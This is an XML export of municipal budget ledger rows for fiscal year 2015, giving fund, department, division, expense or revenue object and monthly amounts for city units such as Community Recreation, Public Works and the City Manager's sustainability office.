<row _id="17870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>566210.0</object><object_description>AIRPORT FIELD MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3832</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3832</total></row>
<row _id="17871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>21260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21260</total></row>
<row _id="17872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6685</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6685</total></row>
<row _id="17873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>26480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26480</total></row>
<row _id="17874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="17876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8234</total></row>
<row _id="17877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="17878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>315155</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>315155</total></row>
<row _id="17879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="17881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="17882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1252</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1252</total></row>
<row _id="17883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1350</total></row>
<row _id="17884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1065</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1065</total></row>
<row _id="17885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>472628</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>472628</total></row>
<row _id="17888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6395</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6395</total></row>
<row _id="17889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>56011</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56011</total></row>
<row _id="17890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="17891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="17892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>25350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25350</total></row>
<row _id="17893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3500</total></row>
<row _id="17894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22500</total></row>
<row _id="17896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>22236</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22236</total></row>
<row _id="17897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>108459</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108459</total></row>
<row _id="17898"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>47430</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>47430</total></row>
<row _id="17899"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="17900"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>294</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>294</total></row>
<row _id="17901"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>901</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>901</total></row>
<row _id="17902"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3120</total></row>
<row _id="17903"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3390</total></row>
<row _id="17904"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1027</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1027</total></row>
<row _id="17905"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1020</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1020</total></row>
<row _id="17906"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>419</total></row>
<row _id="17907"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2300</total></row>
<row _id="17908"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2985</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2985</total></row>
<row _id="17909"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>950</total></row>
<row _id="17910"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="17911"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>900</total></row>
<row _id="17912"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1501</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1501</total></row>
<row _id="17913"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>929</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>929</total></row>
<row _id="17914"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>200</total></row>
<row _id="17915"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1222</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1222</total></row>
<row _id="17916"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17917"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400440.0</object><object_description>PARK FILMING LOCATION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-49900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-49900</total></row>
<row _id="17918"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511550.0</object><object_description>LIBRARY PAGES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
